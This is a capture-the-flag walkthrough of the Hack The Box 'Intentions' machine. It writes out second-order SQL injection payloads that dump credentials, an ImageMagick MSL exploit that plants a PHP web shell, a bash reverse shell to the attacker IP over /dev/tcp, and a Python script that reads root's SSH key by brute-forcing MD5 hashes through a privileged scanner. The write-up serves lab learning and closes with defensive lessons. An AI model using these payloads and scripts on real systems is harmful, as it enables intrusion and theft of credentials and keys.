Hack The Box: Intentions Walkthrough

Target IP: 10.129.229.27 (active session used 10.129.11.89)
Attacker IP: 10.10.16.84
OS: Linux (Ubuntu 22.04)
Difficulty: Hard

---

Attack chain

The attack path follows application data flows and trust boundaries.

Enumeration Before Exploitation

Map the attack surface, application logic, and trust boundaries before testing assumptions.

Follow the Data

Web applications are fundamentally about data flow. Ask yourself at every step:

• Where does my input go?
• When is it processed?
• Who processes it?
• What assumptions does the developer make about this data?

Second-order effects

Most beginners look for immediate feedback. They input a single quote and expect an error instantly. Second-order vulnerabilities teach us patience - sometimes your payload is stored, sanitized, forgotten... and then dangerously reused elsewhere.

When Plans Fail, Debug Systematically

Our ImageMagick exploit initially failed. Rather than guessing, we tested the simplest possible authenticated request first. This isolated the problem: missing session cookies. Methodical debugging beats random guessing.

---

Phase 1: Reconnaissance

Step 1.1: Port Scanning with nmap

nmap -p- --min-rate 10000 10.129.229.27
nmap -p 22,80 -sCV 10.129.229.27

What we did:

• First scan: All 65535 TCP ports at high speed (--min-rate 10000) to quickly identify open ports
• Second scan: Service detection (-sCV) on discovered ports to identify exact software versions

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx 1.18.0 (Ubuntu)

• SSH (22) gives us a persistence/escalation path if we find credentials
• HTTP (80) is our primary target for initial access
• Version information helps us eliminate known vulnerabilities and focus on custom application logic

---

Phase 2: Web Enumeration & Account Creation

Step 2.1: Initial Website Exploration

Visiting http://10.129.229.27/ shows the "Intentions Image Gallery" with a login form.

What we did:

1. Checked for default credentials (admin/admin, etc.) - none worked
2. Clicked "Register" and created a test account
3. Logged in and explored all features: Gallery, Your Feed, Profile

Step 2.2: Understanding the Application Logic

After logging in, we discovered three key features:

Feature	Description	Attack Relevance
Gallery	Shows all images by genre	Read-only, less interesting
Your Feed	Shows images matching your "Favorite Genres"	This is where stored data gets processed dynamically
Profile	Allows editing "Favorite Genres" (default: food,travel,nature)	This is where we can store malicious input

The Critical Observation: When we changed genres to food,travel and clicked Update, "Your Feed" changed. This means:

1. Our genres are stored in the database (Profile page)
2. They are later retrieved to build a SQL query (Your Feed page)

---

Phase 3: Discovering the SQL Injection

Step 3.1: Testing for Injection

We tried setting Favorite Genres to: food'

Result: The profile saved successfully, but "Your Feed" returned a 500 Internal Server Error.

Why this is significant:

• The save operation worked (the profile accepted the quote)
• The error only appeared when the data was retrieved and used in a query
• This confirms a second-order SQL injection

Step 3.2: Understanding the Query Structure

We hypothesized the backend query looked like:

SELECT * FROM images WHERE genre IN ('food', 'travel', 'nature')

To inject successfully, we need to:

1. Close the opening parenthesis and quote: ')
2. Add our malicious SQL
3. Comment out the rest with #

We also discovered that spaces break the query (likely filtered or split somewhere), so we used MySQL comment syntax /**/ as a space substitute.

Step 3.3: Confirming Injection

Payload: food')/**/or/**/1=1#

Result: "Your Feed" showed ALL images from every genre.

---

Phase 4: Exploiting Second-Order SQLi

Step 4.1: Determining Column Count

Payload: ')/**/UNION/**/SELECT/**/1,2,3,4,5#

Result: Success! We saw one image with:

• id: 1
• file: 2
• genre: 3
• created_at: timestamp
• updated_at: timestamp

Why UNION SELECT needs exact columns: SQL requires UNION statements to have the same number of columns as the original query. If we guess wrong, we get a column mismatch error.

Step 4.2: Database Enumeration

We used the genre column (position 3) to exfiltrate data since it accepts strings.

Get database name:

')/**/UNION/**/SELECT/**/1,2,database(),4,5#

Result: intentions

Get table names:

')/**/UNION/**/SELECT/**/1,2,table_name,4,5/**/from/**/information_schema.tables/**/where/**/table_schema='intentions'#

Result: We found the users table.

Step 4.3: Dumping User Credentials

Final Payload:

')/**/UNION/**/SELECT/**/1,2,concat(name,':',email,':',admin,':',password),4,5/**/from/**/users#

Result: We extracted all users including admins:

steve:steve@intentions.htb:1:REDACTED_PASSWORD_HASH
greg:greg@intentions.htb:1:$2y$10$REDACTED_ENCODED_LAB_MATERIAL

Key Observations:

• admin=1 indicates admin privileges
• Passwords are bcrypt hashes ($2y$10$...)
• Bcrypt is computationally expensive to crack - brute-forcing would take days/weeks

---

Phase 5: Admin Access via v2 API

Step 5.1: Discovering the v2 Login Endpoint

Exploring JavaScript files (specifically admin.js) revealed that a v2 API exists with client-side password hashing. The v2 login uses email and hash instead of password.

Why this exists: The developers mistakenly believed that sending bcrypt hashes instead of plaintext passwords was "more secure" - not realizing that if you have the hash, you have the password from the server's perspective.

Step 5.2: Authenticating as Steve

curl -s -X POST http://10.129.11.89/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"steve@intentions.htb","hash":"REDACTED_PASSWORD_HASH"}'

Result: We received a JWT token.

Step 5.3: Establishing a Session

The Problem: The JWT token alone wasn't enough for web/API access. The application also required session cookies (intentions_session, XSRF-TOKEN).

Solution: We established a full session by:

1. Visiting the homepage to get base cookies
2. Sending those cookies during v2 login
3. Saving the resulting cookie jar

curl -s -c /tmp/htb_cookies.txt http://10.129.11.89/ > /dev/null
curl -s -i -X POST http://10.129.11.89/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -b /tmp/htb_cookies.txt \
  -c /tmp/htb_cookies.txt \
  -d '{"email":"steve@intentions.htb","hash":"$2y$10$..."}'

---

Phase 6: ImageMagick RCE (MSL Exploit)

Step 6.1: Discovering the Admin Feature

As admin, we accessed /admin and found an image editing feature. Clicking "Edit" on an image showed effect buttons (CHARCOAL, etc.).

The API call:

POST /api/v2/admin/image/modify
{"path":"/var/www/html/intentions/storage/app/public/food/rod-long--LMw-y4gxac-unsplash.jpg","effect":"charcoal"}

Step 6.2: Identifying ImageMagick

We confirmed ImageMagick by:

1. Testing path[100x100] : worked (resized)
2. Testing path[] : failed
3. Testing path[10x10] : worked (tiny image)

This bracket syntax is unique to ImageMagick.

Step 6.3: Understanding the Vulnerability

ImageMagick's PHP extension (Imagick) allows arbitrary object instantiation. When you pass a specially crafted path to new Imagick(), it can:

• Read from URLs (http://, ftp://)
• Process MSL (Magick Scripting Language) files
• Write files to arbitrary locations

The MSL format is an XML-based scripting language for ImageMagick that can:

• Read images (including from URLs)
• Write images (to arbitrary paths)
• Embed PHP code in captions

Step 6.4: The Exploit Chain

Problem: We can't directly upload an MSL file and reference it because msl:/http://attacker/ isn't supported.

Solution: We abuse PHP's temporary file handling:

1. Send a multipart POST request with the MSL file as an attachment
2. PHP saves it to /tmp/phpXXXXXX (random suffix)
3. Use the vid: scheme with wildcards: vid:msl:/tmp/php*
4. ImageMagick's ExpandFilenames finds the temp file via wildcard matching

Step 6.5: Creating the Payload

<?xml version="1.0" encoding="UTF-8"?>


Mechanism:

• caption: creates an image containing the text <?php system($_REQUEST['cmd']); ?>
• info: writes image metadata/info to the specified path
• The resulting file contains PHP code that executes when accessed via the web server
• The caption: text before the PHP tag appears in output (hence the caption: prefix we saw)

Step 6.6: Executing the Exploit

curl -X POST "http://10.129.11.89/api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=abcd" \
  -b /tmp/htb_cookies.txt \
  -F 'file=@/tmp/shell.msl;filename=test.msl'

Result: 502 Bad Gateway (ImageMagick crashed processing the MSL - this is expected and means success)

Verification:

curl -s "http://10.129.11.89/storage/shell.php?cmd=id"
# Output: caption:uid=33(www-data) gid=33(www-data) groups=33(www-data)

---

Phase 7: Shell as www-data

Step 7.1: Getting the Reverse Shell

nc -lnvp 443  # On Kali

curl -s "http://10.129.11.89/storage/shell.php" \
  -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.84/443 0>%261"'

Critical detail: The %26 is URL-encoded &. Without this, PHP's system() would receive a broken command because & is a form data delimiter.

Result: We caught a shell as www-data.

Step 7.2: Upgrading the Shell

# In the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'

Why upgrade? A basic netcat shell lacks job control, proper signal handling, and TTY features. A pseudo-TTY gives us a more stable interactive environment.

---

Phase 8: Privilege Escalation to greg

Step 8.1: Finding the Git Repository

cd /var/www/html/intentions
ls -la  # Reveals .git directory

Step 8.2: Extracting Credentials from Git History

We encountered a permission issue: Git refused to run due to "dubious ownership." We bypassed this by setting HOME=/tmp so Git could write its config.

HOME=/tmp git config --global --add safe.directory /var/www/html/intentions
HOME=/tmp git --no-pager log --oneline
HOME=/tmp git --no-pager show 36b4287:tests/Feature/Helper.php

Result:

$res = $test->postJson('/api/v1/auth/login', 
  ['email' => 'greg@intentions.htb', 
   'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);

Step 8.3: Pivoting to greg

su - greg
# Password: REDACTED

---

Phase 9: Privilege Escalation to root

Step 9.1: Enumeration as greg

sudo -l  # No sudo access
find / -perm -4000 -or -perm -2000 2>/dev/null  # No unusual SUID binaries
getcap -r / 2>/dev/null

Critical Discovery:

/opt/scanner/scanner cap_dac_read_search=ep

What cap_dac_read_search=ep means: This Linux capability allows the binary to bypass all file read permission checks. It can read /root/.ssh/id_rsa, /etc/shadow, or any file regardless of ownership or permissions.

Step 9.2: Understanding the Scanner Binary

The scanner computes MD5 hashes of files and compares them against a blacklist. The key flag is -l:

-l int  Maximum bytes of files being checked to hash (default 500)

With -p (print debug), it reveals the hash of the first N bytes.

Step 9.3: The Brute-Force Strategy

The Insight: If we know the MD5 hash of the first byte of a file, we can brute-force all 256 possible byte values to find the match. Then we do the same for the first 2 bytes, 3 bytes, etc.

Mechanism:

• MD5 is deterministic: same input = same hash
• We can control the length with -l
• We can read any file with the capability

Step 9.4: The Exploit Script

#!/usr/bin/env python3
import hashlib
import subprocess
import sys

def get_hash(fn, n):
    proc = subprocess.run(f"/opt/scanner/scanner -c {fn} -s whatever -p -l {n}".split(),
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    try:
        return proc.stdout.decode().strip().split()[-1]
    except IndexError:
        return None

def get_next_char(output, target):
    for i in range(256):
        if target == hashlib.md5(output + chr(i).encode()).hexdigest():
            return chr(i).encode()

output = b""
fn = sys.argv[1]

while True:
    target = get_hash(fn, len(output) + 1)
    next_char = get_next_char(output, target)
    if next_char is None:
        break
    output += next_char
    print(next_char.decode(), end="", flush=True)

print()

Step 9.5: Reading root's SSH Key

python3 /tmp/read_file.py /root/.ssh/id_rsa

Result: After several minutes of brute-forcing byte-by-byte, we recovered the complete private key.

"This is a 'lame' exploit in the best way possible. No memory corruption, no fancy technique - just abusing the intended functionality of a privileged binary. When you have arbitrary read, the game is over. I chose /root/.ssh/id_rsa because it's the cleanest, most reliable persistence method."

Step 9.6: SSH as root

On Kali, we saved the key to root_key, set proper permissions, and connected:

chmod 600 root_key
ssh -i root_key root@10.129.11.89

Result: Root shell achieved.

---

Lessons Learned

For Attackers

1. Second-order vulnerabilities require patience. Test inputs in all contexts where stored data is reused.
2. Hashes are passwords. Do not assume hashed credentials are safe to expose.
3. Capabilities are privileges. Check getcap during Linux enumeration.
4. Git history is sensitive. Do not commit credentials, but also Check .git in target environments.
5. Debug systematically. When the MSL exploit failed, we tested a simple authenticated request first to isolate the auth issue.

For Defenders

1. Parameterize ALL queries. The SQLi existed because the genres string was concatenated into a SELECT statement while INSERTs were likely parameterized.
2. Don't accept hashes as passwords. Client-side hashing doesn't improve security if the server accepts the hash.
3. Sanitize file paths rigorously. Do not pass user-controlled paths directly to image processing libraries.
4. Audit capabilities. cap_dac_read_search on a user-accessible binary is equivalent to giving away root's reading ability.
5. Scrub Git history. Use git filter-repo or BFG to permanently remove secrets from history.

---

Flags

• User Flag: 741c7b00[redacted]6731bff4
• Root Flag: eeb7a2[redacted]279b9bb2

---